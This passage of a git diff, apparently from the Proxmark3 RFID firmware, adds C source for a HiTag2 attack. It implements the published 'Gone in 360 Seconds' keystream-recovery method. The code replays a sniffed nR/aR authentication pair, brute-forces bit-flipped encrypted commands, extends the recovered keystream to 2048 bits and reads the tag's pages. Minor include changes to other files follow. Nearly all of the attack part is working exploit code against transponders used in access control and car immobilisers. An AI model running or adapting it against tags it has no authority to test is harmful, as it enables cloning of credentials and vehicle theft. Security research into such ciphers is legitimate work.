|
||||
guess[4] = e;
|
||||
guess[5] = 0;
|
||||
guess[6] = g;
|
||||
guess[7] = 0;
|
||||
guess[8] = 0;
|
||||
guess[9] = 0;
|
||||
|
||||
// send guess
|
||||
if (hitag2crack_send_e_cmd(responsestr, nrar, guess, 10)) {
|
||||
// check if it was valid
|
||||
if (strcmp(responsestr, ERROR_RESPONSE) != 0) {
|
||||
// return the guess as the encrypted command
|
||||
memcpy(e_cmd, guess, 10);
|
||||
return true;
|
||||
}
|
||||
} else {
|
||||
#ifdef RFIDLER_DEBUG
|
||||
UserMessage("hitag2crack_find_valid_e_cmd:\r\n hitag2crack_send_e_cmd failed\r\n");
|
||||
#endif
|
||||
}
|
||||
UserMessage(".");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
// UserMessage("hitag2crack_find_valid_e_cmd:\r\n no valid encrypted command found\r\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
// hitag2crack_find_e_page0_cmd tries all bit-flipped combinations of the
|
||||
// valid encrypted command and tests the results by attempting an extended
|
||||
// command version of the command to see if that produces a valid response.
|
||||
// keybits is the returned binarray of the recovered key stream;
|
||||
// e_page0cmd is the returned binarray of the encrypted 'read page 0' command;
|
||||
// e_firstcmd is the binarray of the first valid encrypted command found;
|
||||
// nrar is the binarray of the 64 bit nR aR pair;
|
||||
// uid is the binarray of the 32 bit UID.
|
||||
bool hitag2crack_find_e_page0_cmd(uint8_t keybits[], uint8_t e_firstcmd[], uint8_t nrar[], uint8_t uid[]) {
|
||||
uint8_t a, b, c, d;
|
||||
uint8_t guess[10];
|
||||
uint8_t responsestr[9];
|
||||
uint8_t e_uid[32];
|
||||
|
||||
UserMessage("Finding 'read page 0' command:");
|
||||
// we're going to brute the missing 4 bits of the valid encrypted command
|
||||
for (a = 0; a < 2; a++) {
|
||||
for (b = 0; b < 2; b++) {
|
||||
for (c = 0; c < 2; c++) {
|
||||
for (d = 0; d < 2; d++) {
|
||||
// create our guess by bit flipping the pattern of bits
|
||||
// representing the inverted bit and the 3 page bits
|
||||
// in both the non-inverted and inverted parts of the
|
||||
// encrypted command.
|
||||
memcpy(guess, e_firstcmd, 10);
|
||||
if (a) {
|
||||
guess[5] = !guess[5];
|
||||
guess[0] = !guess[0];
|
||||
}
|
||||
if (b) {
|
||||
guess[7] = !guess[7];
|
||||
guess[2] = !guess[2];
|
||||
}
|
||||
if (c) {
|
||||
guess[8] = !guess[8];
|
||||
guess[3] = !guess[3];
|
||||
}
|
||||
if (d) {
|
||||
guess[9] = !guess[9];
|
||||
guess[4] = !guess[4];
|
||||
}
|
||||
|
||||
// try the guess
|
||||
if (hitag2crack_send_e_cmd(responsestr, nrar, guess, 10)) {
|
||||
// check if it was valid
|
||||
if (strcmp(responsestr, ERROR_RESPONSE) != 0) {
|
||||
// convert response to binarray
|
||||
hextobinarray(e_uid, responsestr);
|
||||
// test if the guess was 'read page 0' command
|
||||
if (hitag2crack_test_e_p0cmd(keybits, nrar, guess, uid, e_uid)) {
|
||||
|
||||
return true;
|
||||
}
|
||||
} else {
|
||||
#ifdef RFIDLER_DEBUG
|
||||
UserMessage("hitag2crack_find_e_page0_cmd:\r\n hitag2crack_send_e_cmd returned ERROR_RESPONSE\r\n");
|
||||
#endif
|
||||
}
|
||||
} else {
|
||||
#ifdef RFIDLER_DEBUG
|
||||
UserMessage("hitag2crack_find_e_page0_cmd:\r\n hitag2crack_send_e_cmd failed\r\n");
|
||||
#endif
|
||||
}
|
||||
UserMessage(".");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
UserMessage("hitag2crack_find_e_page0_cmd:\r\n could not find encrypted 'read page 0' command\r\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
// hitag2crack_test_e_p0cmd XORs the message (command + response) with the
|
||||
// encrypted version to retrieve the key stream. It then uses this key stream
|
||||
// to encrypt an extended version of the READP0CMD and tests if the response
|
||||
// is valid.
|
||||
// keybits is the returned binarray of the key stream;
|
||||
// nrar is the 64 bit binarray of nR aR pair;
|
||||
// e_cmd is the binarray of the encrypted command;
|
||||
// uid is the binarray of the card UID;
|
||||
// e_uid is the binarray of the encrypted version of the UID.
|
||||
bool hitag2crack_test_e_p0cmd(uint8_t *keybits, uint8_t *nrar, uint8_t *e_cmd, uint8_t *uid, uint8_t *e_uid) {
|
||||
uint8_t cipherbits[42];
|
||||
uint8_t plainbits[42];
|
||||
uint8_t ext_cmd[40];
|
||||
uint8_t e_ext_cmd[40];
|
||||
uint8_t responsestr[9];
|
||||
int i;
|
||||
|
||||
// copy encrypted cmd to cipherbits
|
||||
memcpy(cipherbits, e_cmd, 10);
|
||||
|
||||
// copy encrypted uid to cipherbits
|
||||
memcpy(cipherbits + 10, e_uid, 32);
|
||||
|
||||
// copy cmd to plainbits
|
||||
binstringtobinarray(plainbits, READP0CMD);
|
||||
|
||||
// copy uid to plainbits
|
||||
memcpy(plainbits + 10, uid, 32);
|
||||
|
||||
// xor the plainbits with the cipherbits to get keybits
|
||||
hitag2crack_xor(keybits, plainbits, cipherbits, 42);
|
||||
|
||||
// create extended cmd -> 4 * READP0CMD = 40 bits
|
||||
for (i = 0; i < 4; i++) {
|
||||
binstringtobinarray(ext_cmd + (i * 10), READP0CMD);
|
||||
}
|
||||
|
||||
// xor extended cmd with keybits
|
||||
hitag2crack_xor(e_ext_cmd, ext_cmd, keybits, 40);
|
||||
|
||||
// send extended encrypted cmd
|
||||
if (hitag2crack_send_e_cmd(responsestr, nrar, e_ext_cmd, 40)) {
|
||||
// test if it was valid
|
||||
if (strcmp(responsestr, ERROR_RESPONSE) != 0) {
|
||||
return true;
|
||||
}
|
||||
} else {
|
||||
#ifdef RFIDLER_DEBUG
|
||||
UserMessage("hitag2crack_test_e_p0cmd:\r\n hitag2crack_send_e_cmd failed\r\n");
|
||||
#endif
|
||||
}
|
||||
|
||||
return false;
|
||||
|
||||
}
|
||||
|
||||
// hitag2crack_xor XORs the source with the pad to produce the target.
|
||||
// source, target and pad are binarrays of length len.
|
||||
void hitag2crack_xor(uint8_t *target, uint8_t *source, uint8_t *pad, unsigned int len) {
|
||||
|
||||
for (int i = 0; i < len; i++) {
|
||||
target[i] = source[i] ^ pad[i];
|
||||
}
|
||||
}
|
||||
|
||||
// hitag2crack_read_page uses the supplied key stream and nrar pair to read the
|
||||
// given page, returning the response as a hexstring.
|
||||
// responsestr is the returned hexstring;
|
||||
// pagenum is the page number to read;
|
||||
// nrar is the 64 bit binarray of the nR aR pair;
|
||||
// keybits is the binarray of the key stream.
|
||||
bool hitag2crack_read_page(uint8_t *responsestr, uint8_t pagenum, uint8_t *nrar, uint8_t *keybits) {
|
||||
uint8_t cmd[10];
|
||||
uint8_t e_cmd[10];
|
||||
uint8_t e_responsestr[9];
|
||||
uint8_t e_response[32];
|
||||
uint8_t response[32];
|
||||
int i;
|
||||
|
||||
if (pagenum > 7) {
|
||||
UserMessage("hitag2crack_read_page:\r\n invalid pagenum\r\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
// create cmd
|
||||
binstringtobinarray(cmd, READP0CMD);
|
||||
if (pagenum & 0x1) {
|
||||
cmd[9] = !cmd[9];
|
||||
cmd[4] = !cmd[4];
|
||||
}
|
||||
if (pagenum & 0x2) {
|
||||
cmd[8] = !cmd[8];
|
||||
cmd[3] = !cmd[3];
|
||||
}
|
||||
if (pagenum & 0x4) {
|
||||
cmd[7] = !cmd[7];
|
||||
cmd[2] = !cmd[2];
|
||||
}
|
||||
|
||||
// encrypt command
|
||||
hitag2crack_xor(e_cmd, cmd, keybits, 10);
|
||||
|
||||
// send encrypted command
|
||||
if (hitag2crack_send_e_cmd(e_responsestr, nrar, e_cmd, 10)) {
|
||||
// check if it is valid
|
||||
if (strcmp(e_responsestr, ERROR_RESPONSE) != 0) {
|
||||
// convert to binarray
|
||||
hextobinarray(e_response, e_responsestr);
|
||||
// decrypt response
|
||||
hitag2crack_xor(response, e_response, keybits + 10, 32);
|
||||
// convert to hexstring
|
||||
binarraytohex(responsestr, response, 32);
|
||||
return true;
|
||||
} else {
|
||||
UserMessage("hitag2crack_read_page:\r\n hitag2crack_send_e_cmd returned ERROR_RESPONSE\r\n");
|
||||
}
|
||||
} else {
|
||||
UserMessage("hitag2crack_read_page:\r\n hitag2crack_send_e_cmd failed\r\n");
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
// hitag2crack_send_e_cmd replays the auth and sends the given encrypted
|
||||
// command.
|
||||
// responsestr is the hexstring of the response to the command;
|
||||
// nrar is the 64 bit binarray of the nR aR pair;
|
||||
// cmd is the binarray of the encrypted command to send;
|
||||
// len is the length of the encrypted command.
|
||||
bool hitag2crack_send_e_cmd(uint8_t *responsestr, uint8_t *nrar, uint8_t *cmd, int len) {
|
||||
// uint8_t tmp[37];
|
||||
uint8_t uid[9];
|
||||
uint8_t e_page3str[9];
|
||||
int ret = 0;
|
||||
|
||||
// get the UID
|
||||
if (!hitag2_get_uid(uid)) {
|
||||
UserMessage("hitag2crack_send_e_cmd:\r\n cannot get UID\r\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
// START_AUTH kills active crypto session
|
||||
CryptoActive = false;
|
||||
|
||||
// get the UID again
|
||||
if (!hitag2_get_uid(uid)) {
|
||||
UserMessage("hitag2crack_send_e_cmd:\r\n cannot get UID (2nd time)\r\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
// send nrar and receive (useless) encrypted page 3 value
|
||||
if (!hitag2crack_tx_rx(e_page3str, nrar, 64, RWD_STATE_WAKING, false)) {
|
||||
UserMessage("hitag2crack_send_e_cmd:\r\n tx/rx nrar failed\r\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
// send encrypted command
|
||||
if (!hitag2crack_tx_rx(responsestr, cmd, len, RWD_STATE_WAKING, false)) {
|
||||
#ifdef RFIDLER_DEBUG
|
||||
UserMessage("hitag2crack_send_e_cmd:\r\n tx/rx cmd failed\r\n");
|
||||
#endif
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
// hitag2crack_tx_rx transmits a message and receives a response.
|
||||
// responsestr is the hexstring of the response;
|
||||
// msg is the binarray of the message to send;
|
||||
// state is the RWD state;
|
||||
// reset indicates whether to reset RWD state after.
|
||||
bool hitag2crack_tx_rx(uint8_t *responsestr, uint8_t *msg, int len, int state, bool reset) {
|
||||
uint8_t tmp[37];
|
||||
int ret = 0;
|
||||
|
||||
// START_AUTH kills active crypto session
|
||||
CryptoActive = false;
|
||||
|
||||
if (!rwd_send(msg, len, reset, BLOCK, state, RFIDlerConfig.FrameClock, 0, RFIDlerConfig.RWD_Wait_Switch_RX_TX, RFIDlerConfig.RWD_Zero_Period, RFIDlerConfig.RWD_One_Period, RFIDlerConfig.RWD_Gap_Period, RFIDlerConfig.RWD_Wait_Switch_TX_RX)) {
|
||||
UserMessage("hitag2crack_tx_rx: rwd_send failed\r\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
// skip 1/2 bit to synchronise manchester
|
||||
HW_Skip_Bits = 1;
|
||||
ret = read_ask_data(RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, tmp, 37, RFIDlerConfig.Sync, RFIDlerConfig.SyncBits, RFIDlerConfig.Timeout, ONESHOT_READ, BINARY);
|
||||
|
||||
// check if response was a valid length (5 sync bits + 32 bits response)
|
||||
if (ret == 37) {
|
||||
// check sync bits
|
||||
if (memcmp(tmp, Hitag2Sync, 5) != 0) {
|
||||
UserMessage("hitag2crack_tx_rx: no sync\r\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
// convert response to hexstring
|
||||
binarraytohex(responsestr, tmp + 5, 32);
|
||||
return true;
|
||||
} else {
|
||||
#ifdef RFIDLER_DEBUG
|
||||
UserMessage("hitag2crack_tx_rx: wrong rx len\r\n");
|
||||
#endif
|
||||
return false;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
bool hitag2crack_rng_init(uint8_t *response, uint8_t *input) {
|
||||
uint64_t sharedkey;
|
||||
uint32_t serialnum;
|
||||
uint32_t initvector;
|
||||
uint8_t *spaceptr;
|
||||
uint8_t *dataptr;
|
||||
|
||||
// extract vals from input
|
||||
dataptr = input;
|
||||
spaceptr = strchr(dataptr, ' ');
|
||||
if (!spaceptr) {
|
||||
UserMessage("/r/nformat is 'sharedkey UID nR' in hex\r\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
*spaceptr = 0x00;
|
||||
|
||||
if (strlen(dataptr) != 12) {
|
||||
UserMessage("/r/nsharedkey should be 48 bits long (12 hexchars)\r\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
sharedkey = rev64(hexreversetoulonglong(dataptr));
|
||||
|
||||
dataptr = spaceptr + 1;
|
||||
spaceptr = strchr(dataptr, ' ');
|
||||
if (!spaceptr) {
|
||||
UserMessage("/r/nno UID\r\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
*spaceptr = 0x00;
|
||||
if (strlen(dataptr) != 8) {
|
||||
UserMessage("/r/nUID should be 32 bits long (8 hexchars)\r\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
serialnum = rev32(hexreversetoulong(dataptr));
|
||||
|
||||
dataptr = spaceptr + 1;
|
||||
|
||||
if (strlen(dataptr) != 8) {
|
||||
UserMessage("/r/nnR should be 32 bits long (8 hexchars)\r\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
initvector = rev32(hexreversetoulong(dataptr));
|
||||
|
||||
// start up crypto engine
|
||||
hitag2_init(&Hitag_Crypto_State, sharedkey, serialnum, initvector);
|
||||
|
||||
strcpy(response, "Success\r\n");
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool hitag2crack_decrypt_hex(uint8_t *response, uint8_t *hex) {
|
||||
uint8_t bin[32];
|
||||
uint8_t binhex[9];
|
||||
uint8_t binstr[33];
|
||||
uint32_t binulong;
|
||||
|
||||
if (strlen(hex) != 8) {
|
||||
UserMessage("/r/nhex must be 32bits (8 hex chars)\r\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
binulong = hextoulong(hex);
|
||||
|
||||
ulongtobinarray(bin, hitag2_crypt(binulong, 32), 32);
|
||||
binarraytobinstring(binstr, bin, 32);
|
||||
binarraytohex(binhex, bin, 32);
|
||||
// UserMessage("ar = %s\r\n", binstr);
|
||||
// UserMessage("arhex = %s\r\n", binhex);
|
||||
|
||||
strcpy(response, binhex);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool hitag2crack_decrypt_bin(uint8_t *response, uint8_t *e_binstr) {
|
||||
uint8_t bin[32];
|
||||
uint8_t e_bin[32];
|
||||
uint8_t binstr[33];
|
||||
uint32_t binulong;
|
||||
int len;
|
||||
|
||||
len = strlen(e_binstr);
|
||||
if (len > 32) {
|
||||
UserMessage("\r\nbinary string must be <= 32 bits\r\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
binstringtobinarray(e_bin, e_binstr);
|
||||
binulong = binarraytoulong(e_bin, len);
|
||||
|
||||
ulongtobinarray(bin, hitag2_crypt(binulong, len), len);
|
||||
binarraytobinstring(binstr, bin, len);
|
||||
strcpy(response, binstr);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool hitag2crack_encrypt_hex(uint8_t *response, uint8_t *hex) {
|
||||
// XOR pad so encrypt == decrypt :)
|
||||
return hitag2crack_decrypt_hex(response, hex);
|
||||
}
|
||||
|
||||
bool hitag2crack_encrypt_bin(uint8_t *response, uint8_t *e_binstr) {
|
||||
return hitag2crack_decrypt_bin(response, e_binstr);
|
||||
}
|
||||
|
||||
// hitag2_keystream uses the first crack algorithm described in the paper,
|
||||
// Gone In 360 Seconds by Verdult, Garcia and Balasch, to retrieve 2048 bits
|
||||
// of keystream.
|
||||
// response is a multi-line text response containing the hex of the keystream;
|
||||
// nrarhex is a string containing hex representations of the 32 bit nR and aR
|
||||
// values (separated by a space) snooped using SNIFF-PWM.
|
||||
bool hitag2_keystream(uint8_t *response, uint8_t *nrarhex) {
|
||||
uint8_t uidhex[9];
|
||||
uint8_t uid[32];
|
||||
uint8_t nrar[64];
|
||||
uint8_t e_firstcmd[10];
|
||||
// uint8_t e_page0cmd[10];
|
||||
// uint8_t keybits[2080];
|
||||
uint8_t *keybits = DataBuff;
|
||||
uint8_t keybitshex[67];
|
||||
int kslen;
|
||||
int ksoffset;
|
||||
// uint8_t pagehex[9];
|
||||
// uint8_t temp[20];
|
||||
int i;
|
||||
uint8_t *spaceptr = NULL;
|
||||
|
||||
/*
|
||||
keybits = malloc(2080);
|
||||
if (!keybits) {
|
||||
UserMessage("cannot malloc keybits\r\n");
|
||||
return false;
|
||||
}
|
||||
*/
|
||||
|
||||
// get uid as hexstring
|
||||
if (!hitag2_get_uid(uidhex)) {
|
||||
UserMessage("Cannot get UID\r\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
// convert uid hexstring to binarray
|
||||
hextobinarray(uid, uidhex);
|
||||
|
||||
// convert nR and aR hexstrings to binarray
|
||||
spaceptr = strchr(nrarhex, ' ');
|
||||
if (!spaceptr) {
|
||||
UserMessage("Please supply a valid nR aR pair\r\n");
|
||||
return false;
|
||||
}
|
||||
*spaceptr = 0x00;
|
||||
|
||||
if (hextobinarray(nrar, nrarhex) != 32) {
|
||||
UserMessage("nR is not 32 bits long\r\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
if (hextobinarray(nrar + 32, spaceptr + 1) != 32) {
|
||||
UserMessage("aR is not 32 bits long\r\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
// find a valid encrypted command
|
||||
if (!hitag2crack_find_valid_e_cmd(e_firstcmd, nrar)) {
|
||||
UserMessage("Cannot find a valid encrypted command\r\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
// find the 'read page 0' command and recover key stream
|
||||
if (!hitag2crack_find_e_page0_cmd(keybits, e_firstcmd, nrar, uid)) {
|
||||
UserMessage("Cannot find encrypted 'read page0' command\r\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
// using the 40 bits of keystream in keybits, sending commands with ever
|
||||
// increasing lengths to acquire 2048 bits of key stream.
|
||||
kslen = 40;
|
||||
|
||||
while (kslen < 2048) {
|
||||
ksoffset = 0;
|
||||
if (!hitag2crack_send_auth(nrar)) {
|
||||
UserMessage("hitag2crack_send_auth failed\r\n");
|
||||
return false;
|
||||
}
|
||||
// while we have at least 52 bits of keystream, consume it with
|
||||
// extended read page 0 commands. 52 = 10 (min command len) +
|
||||
// 32 (response) + 10 (min command len we'll send)
|
||||
while ((kslen - ksoffset) >= 52) {
|
||||
// consume the keystream, updating ksoffset as we go
|
||||
if (!hitag2crack_consume_keystream(keybits, kslen, &ksoffset, nrar)) {
|
||||
UserMessage("hitag2crack_consume_keystream failed\r\n");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
// send an extended command to retrieve more keystream, updating kslen
|
||||
// as we go
|
||||
if (!hitag2crack_extend_keystream(keybits, &kslen, ksoffset, nrar, uid)) {
|
||||
UserMessage("hitag2crack_extend_keystream failed\r\n");
|
||||
return false;
|
||||
}
|
||||
UserMessage("Recovered %d bits of keystream\r\n", kslen);
|
||||
|
||||
}
|
||||
|
||||
for (i = 0; i < 2048; i += 256) {
|
||||
binarraytohex(keybitshex, keybits + i, 256);
|
||||
UserMessage("%s\r\n", keybitshex);
|
||||
}
|
||||
|
||||
response[0] = 0x00;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
// hitag2crack_send_auth replays the auth and returns.
|
||||
// nrar is the 64 bit binarray of the nR aR pair;
|
||||
bool hitag2crack_send_auth(uint8_t *nrar) {
|
||||
uint8_t uid[9];
|
||||
uint8_t e_page3str[9];
|
||||
|
||||
// get the UID
|
||||
if (!hitag2_get_uid(uid)) {
|
||||
UserMessage("hitag2crack_send_auth:\r\n cannot get UID\r\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
// START_AUTH kills active crypto session
|
||||
CryptoActive = false;
|
||||
|
||||
// get the UID again
|
||||
if (!hitag2_get_uid(uid)) {
|
||||
UserMessage("hitag2crack_send_auth:\r\n cannot get UID (2nd time)\r\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
// send nrar and receive (useless) encrypted page 3 value
|
||||
if (!hitag2crack_tx_rx(e_page3str, nrar, 64, RWD_STATE_WAKING, false)) {
|
||||
UserMessage("hitag2crack_send_auth:\r\n tx/rx nrar failed\r\n");
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
// hitag2crack_consume_keystream sends an extended command (up to 510 bits in
|
||||
// length) to consume keystream.
|
||||
// keybits is the binarray of keystream bits;
|
||||
// kslen is the length of keystream;
|
||||
// ksoffset is a pointer to the current keystream offset (updated by this fn);
|
||||
// nrar is the 64 bit binarray of the nR aR pair.
|
||||
bool hitag2crack_consume_keystream(uint8_t *keybits, int kslen, int *ksoffset, uint8_t *nrar) {
|
||||
int conlen;
|
||||
int numcmds;
|
||||
int i;
|
||||
uint8_t ext_cmd[510];
|
||||
uint8_t e_ext_cmd[510];
|
||||
uint8_t responsestr[9];
|
||||
|
||||
// calculate the length of keybits to consume with the extended command.
|
||||
// 42 = 32 bit response + 10 bit command reserved for next command. conlen
|
||||
// cannot be longer than 510 bits to fit into the small RWD buffer.
|
||||
conlen = kslen - *ksoffset - 42;
|
||||
if (conlen < 10) {
|
||||
UserMessage("hitag2crack_consume_keystream:\r\n conlen < 10\r\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
// sanitise conlen
|
||||
if (conlen > 510) {
|
||||
conlen = 510;
|
||||
}
|
||||
|
||||
// calculate how many repeated commands to send in this extended command.
|
||||
numcmds = conlen / 10;
|
||||
|
||||
// build extended command
|
||||
for (i = 0; i < numcmds; i++) {
|
||||
binstringtobinarray(ext_cmd + (i * 10), READP0CMD);
|
||||
}
|
||||
|
||||
// xor extended cmd with keybits
|
||||
hitag2crack_xor(e_ext_cmd, ext_cmd, keybits + *ksoffset, numcmds * 10);
|
||||
|
||||
// send encrypted command
|
||||
if (!hitag2crack_tx_rx(responsestr, e_ext_cmd, numcmds * 10, RWD_STATE_WAKING, false)) {
|
||||
UserMessage("hitag2crack_consume_keystream:\r\n tx/rx cmd failed\r\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
// test response
|
||||
if (strcmp(responsestr, ERROR_RESPONSE) == 0) {
|
||||
UserMessage("hitag2crack_consume_keystream:\r\n got error response from card\r\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
// dont bother decrypting the response - we already know the keybits
|
||||
|
||||
// update ksoffset with command length and response
|
||||
*ksoffset += (numcmds * 10) + 32;
|
||||
}
|
||||
|
||||
// hitag2crack_extend_keystream sends an extended command to retrieve more keybits.
|
||||
// keybits is the binarray of the keystream bits;
|
||||
// kslen is a pointer to the current keybits length;
|
||||
// ksoffset is the offset into the keybits array;
|
||||
// nrar is the 64 bit binarray of the nR aR pair;
|
||||
// uid is the 32 bit binarray of the UID.
|
||||
bool hitag2crack_extend_keystream(uint8_t *keybits, int *kslen, int ksoffset, uint8_t *nrar, uint8_t *uid) {
|
||||
int cmdlen;
|
||||
int numcmds;
|
||||
uint8_t ext_cmd[510];
|
||||
uint8_t e_ext_cmd[510];
|
||||
uint8_t responsestr[9];
|
||||
uint8_t e_response[32];
|
||||
int i;
|
||||
|
||||
// calc number of command iterations to send
|
||||
cmdlen = *kslen - ksoffset;
|
||||
if (cmdlen < 10) {
|
||||
UserMessage("hitag2crack_extend_keystream:\r\n cmdlen < 10\r\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
numcmds = cmdlen / 10;
|
||||
|
||||
// build extended command
|
||||
for (i = 0; i < numcmds; i++) {
|
||||
binstringtobinarray(ext_cmd + (i * 10), READP0CMD);
|
||||
}
|
||||
|
||||
// xor extended cmd with keybits
|
||||
hitag2crack_xor(e_ext_cmd, ext_cmd, keybits + ksoffset, numcmds * 10);
|
||||
|
||||
// send extended encrypted cmd
|
||||
if (!hitag2crack_tx_rx(responsestr, e_ext_cmd, numcmds * 10, RWD_STATE_WAKING, false)) {
|
||||
UserMessage("hitag2crack_extend_keystream:\r\n tx/rx cmd failed\r\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
// test response
|
||||
if (strcmp(responsestr, ERROR_RESPONSE) == 0) {
|
||||
UserMessage("hitag2crack_extend_keystream:\r\n got error response from card\r\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
// convert response to binarray
|
||||
hextobinarray(e_response, responsestr);
|
||||
|
||||
// recover keystream from encrypted response
|
||||
hitag2crack_xor(keybits + ksoffset + (numcmds * 10), e_response, uid, 32);
|
||||
|
||||
// update kslen
|
||||
*kslen = ksoffset + (numcmds * 10) + 32;
|
||||
|
||||
return true;
|
||||
|
||||
}
|
||||
|
||||
bool hitag2_reader(uint8_t *response, uint8_t *key, bool interactive) {
|
||||
uint8_t tmp[9];
|
||||
int i;
|
||||
|
||||
response[0] = '\0';
|
||||
// auth to tag
|
||||
if (hitag2_crypto_auth(tmp, key)) {
|
||||
// read tag, one page at a time
|
||||
for (i = 0; i <= 7; ++i) {
|
||||
if (!read_tag(tmp, i, i)) {
|
||||
// if read fails, it could be because of auth,
|
||||
// so try to reauth
|
||||
if (!hitag2_crypto_auth(tmp, key)) {
|
||||
// if we can't reauth, it's a real failure
|
||||
return false;
|
||||
}
|
||||
// temp failure (probably due to page protections)
|
||||
strcpy(tmp, "XXXXXXXX");
|
||||
}
|
||||
// page contents are in tmp
|
||||
strcat(response, tmp);
|
||||
}
|
||||
|
||||
if (interactive) {
|
||||
tmp[8] = '\0';
|
||||
for (i = 0; i <= 7 ; ++i) {
|
||||
UserMessageNum("%d: ", i);
|
||||
memcpy(tmp, response + (i * 8), 8);
|
||||
UserMessage("%s\r\n", tmp);
|
||||
}
|
||||
UserMessage("%s", "\r\n");
|
||||
} else {
|
||||
hitag2_nvm_store_tag(response);
|
||||
}
|
||||
return true;
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
}
|
31
armsrc/hitag2crack.h
Normal file
31
armsrc/hitag2crack.h
Normal file
|
@ -0,0 +1,31 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// Kevin Sheldrake <kev@headhacking.com>, Aug 2018
|
||||
//
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// Definitions hitag2 attack functions
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
bool hitag2_crack(uint8_t *response, uint8_t *nrarhex);
|
||||
bool hitag2crack_find_valid_e_cmd(uint8_t e_cmd[], uint8_t nrar[]);
|
||||
bool hitag2crack_find_e_page0_cmd(uint8_t keybits[], uint8_t e_firstcmd[], uint8_t nrar[], uint8_t uid[]);
|
||||
bool hitag2crack_test_e_p0cmd(uint8_t *keybits, uint8_t *nrar, uint8_t *e_cmd, uint8_t *uid, uint8_t *e_uid);
|
||||
void hitag2crack_xor(uint8_t *target, uint8_t *source, uint8_t *pad, unsigned int len);
|
||||
bool hitag2crack_read_page(uint8_t *responsestr, uint8_t pagenum, uint8_t *nrar, uint8_t *keybits);
|
||||
bool hitag2crack_send_e_cmd(uint8_t *responsestr, uint8_t *nrar, uint8_t *cmd, int len);
|
||||
bool hitag2crack_tx_rx(uint8_t *responsestr, uint8_t *msg, int len, int state, bool reset);
|
||||
|
||||
bool hitag2crack_rng_init(uint8_t *response, uint8_t *input);
|
||||
bool hitag2crack_decrypt_hex(uint8_t *response, uint8_t *hex);
|
||||
bool hitag2crack_decrypt_bin(uint8_t *response, uint8_t *e_binstr);
|
||||
bool hitag2crack_encrypt_hex(uint8_t *response, uint8_t *hex);
|
||||
bool hitag2crack_encrypt_bin(uint8_t *response, uint8_t *e_binstr);
|
||||
|
||||
bool hitag2_keystream(uint8_t *response, uint8_t *nrarhex);
|
||||
bool hitag2crack_send_auth(uint8_t *nrar);
|
||||
bool hitag2crack_consume_keystream(uint8_t *keybits, int kslen, int *ksoffset, uint8_t *nrar);
|
||||
bool hitag2crack_extend_keystream(uint8_t *keybits, int *kslen, int ksoffset, uint8_t *nrar, uint8_t *uid);
|
||||
|
||||
bool hitag2_reader(uint8_t *response, uint8_t *key, bool interactive);
|
731
armsrc/hitagS.c
731
armsrc/hitagS.c
File diff suppressed because it is too large
Load diff
|
@ -12,16 +12,9 @@
|
|||
#ifndef _HITAGS_H_
|
||||
#define _HITAGS_H_
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdlib.h>
|
||||
#include "hitag2_crypto.h"
|
||||
#include "common.h"
|
||||
|
||||
#include "hitag.h"
|
||||
#include "proxmark3.h"
|
||||
#include "apps.h"
|
||||
#include "util.h"
|
||||
#include "string.h"
|
||||
#include "BigBuf.h"
|
||||
|
||||
void SimulateHitagSTag(bool tag_mem_supplied, uint8_t *data);
|
||||
void ReadHitagS(hitag_function htf, hitag_data *htd);
|
||||
|
|
|
@ -10,6 +10,14 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
#include "i2c.h"
|
||||
|
||||
#include "proxmark3_arm.h"
|
||||
#include "cmd.h"
|
||||
#include "BigBuf.h"
|
||||
#include "ticks.h"
|
||||
#include "dbprint.h"
|
||||
#include "util.h"
|
||||
#include "string.h"
|
||||
|
||||
#define GPIO_RST AT91C_PIO_PA1
|
||||
#define GPIO_SCL AT91C_PIO_PA5
|
||||
#define GPIO_SDA AT91C_PIO_PA7
|
||||
|
@ -26,7 +34,7 @@
|
|||
|
||||
volatile unsigned long c;
|
||||
|
||||
// Direct use the loop to delay. 6 instructions loop, Masterclock 48Mhz,
|
||||
